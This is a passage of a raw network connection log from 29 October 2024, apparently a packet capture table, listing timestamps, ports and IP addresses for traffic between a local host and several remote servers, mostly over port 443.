Oct 29, 2024 15:27:44.909789085 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.910070896 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.910082102 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.913419008 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.913444042 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.913603067 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.914524078 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.914537907 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.927788019 CET	49955	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.927802086 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.927864075 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.974448919 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.974477053 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:44.974536896 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.975543976 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.975558043 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.074143887 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.074611902 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.074677944 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.076559067 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.076632977 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.077867985 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.077960968 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.078562021 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.078950882 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.078960896 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.080054045 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.080108881 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.080526114 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.080615997 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.107825041 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.108294010 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.108300924 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.109287977 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.109334946 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.109843969 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.109899998 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.122152090 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.122482061 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.122546911 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.138099909 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.138111115 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.231033087 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.281939983 CET	443	49960	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.282259941 CET	49960	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.282320976 CET	443	49960	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.282649994 CET	443	49960	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.283704996 CET	49960	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.283785105 CET	443	49960	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.313384056 CET	443	49961	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.313615084 CET	49961	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.313630104 CET	443	49961	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.313962936 CET	443	49961	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.314986944 CET	49961	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.315047026 CET	443	49961	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.315352917 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:45.315613985 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.333441019 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:45.342670918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:45.342910051 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:45.419965029 CET	49960	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.435760975 CET	49961	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.436959982 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.437223911 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.437235117 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.438232899 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.438302040 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.439291954 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.439378977 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.439555883 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.439563990 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.441590071 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.441848993 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.441858053 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.442990065 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.443042994 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.444071054 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.444156885 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.444220066 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.444226027 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.444364071 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.444600105 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.444617033 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.445699930 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.445780039 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.446142912 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.446229935 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.446273088 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.486490965 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.487345934 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.487842083 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.487864017 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.488711119 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.488727093 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.503748894 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.504549026 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.504586935 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.505151987 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.505166054 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.526731968 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.526918888 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.526932955 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.566220999 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.566232920 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.566288948 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.566298962 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.566344023 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.567981958 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:45.567994118 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:45.587974072 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.588202000 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.588217020 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.589242935 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.589344978 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.589726925 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.589792967 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.618541002 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.618570089 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.618613005 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.618709087 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.618880033 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.618880033 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.618895054 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.618902922 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.622100115 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.622143030 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.622400999 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.622549057 CET	49971	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.622559071 CET	443	49971	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.628027916 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.633936882 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.634453058 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.634524107 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.634742975 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.634759903 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.634773970 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.634782076 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.636885881 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.636917114 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.637073040 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.637233019 CET	49972	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.637244940 CET	443	49972	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.673892021 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.681562901 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.681581020 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.682018995 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.682024002 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.686203003 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686225891 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686234951 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686268091 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686281919 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686290026 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686296940 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.686314106 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686341047 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.686367035 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.686537981 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686572075 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686578989 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686593056 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686603069 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686609983 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686619997 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.686631918 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.686644077 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.686655998 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.686677933 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.690743923 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.691210985 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.694606066 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.694627047 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.694715977 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.694724083 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.694798946 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.694823027 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.694852114 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.695249081 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.695261955 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.697376966 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.697384119 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.697415113 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.697423935 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.697449923 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.697469950 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.697484016 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.701260090 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.722745895 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.722769976 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.723550081 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.723557949 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.726450920 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:45.726470947 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:45.726522923 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:45.727037907 CET	49974	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:45.727051973 CET	443	49974	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:45.732402086 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.732409000 CET	443	49970	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:45.804639101 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.804650068 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.804688931 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.804718971 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.804730892 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.804761887 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.804765940 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.804805994 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.805805922 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.805835962 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.805876970 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.805896044 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.805913925 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.805938005 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.807764053 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.808419943 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.808475018 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.812066078 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.812084913 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.812131882 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.812140942 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.812170982 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.812190056 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.814301014 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.814318895 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.814399004 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.814407110 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.814450979 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.814713955 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.814728975 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.814790964 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.814800024 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.814867973 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.814966917 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.815021992 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.815026045 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.815037012 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.815077066 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.816653967 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.816670895 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.816715002 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.816723108 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.816761971 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.816790104 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.822947025 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.822988033 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.823036909 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.823101997 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.823596954 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.823625088 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.852292061 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.852541924 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.852592945 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.852682114 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.918546915 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.918566942 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.918606043 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.918612957 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.921077967 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.921077967 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.921091080 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.921101093 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.925684929 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.925684929 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:45.925710917 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.925724983 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:45.929506063 CET	49970	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:45.949182034 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.949209929 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.949292898 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.949306965 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.950321913 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.950341940 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.950387955 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.950397015 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.950454950 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.950479984 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.951831102 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.951845884 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.951920033 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.951926947 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.952820063 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.952838898 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.952892065 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.952899933 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.952929974 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.952958107 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.953810930 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.953828096 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.953886032 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.953892946 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.955379009 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.955502987 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.955518961 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.955575943 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.955581903 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:45.957442999 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:45.957469940 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.050832987 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.050862074 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.050934076 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.050945044 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.050996065 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.067691088 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.067738056 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.067759037 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.067769051 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.067805052 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.068264008 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.068310022 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.068329096 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.068336964 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.068367004 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.068386078 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.068674088 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.068720102 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.068733931 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.068742037 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.068770885 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.068789005 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.069155931 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.069200993 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.069219112 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.069226027 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.069255114 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.069273949 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.073235989 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.073252916 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.073297024 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.073303938 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:46.073340893 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.073363066 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.097526073 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:46.126413107 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.126447916 CET	443	49975	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.126560926 CET	49975	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.127672911 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.127765894 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.127840042 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.129651070 CET	49977	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:46.129667044 CET	443	49977	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:46.129720926 CET	49977	443	192.168.2.6	13.107.246.45
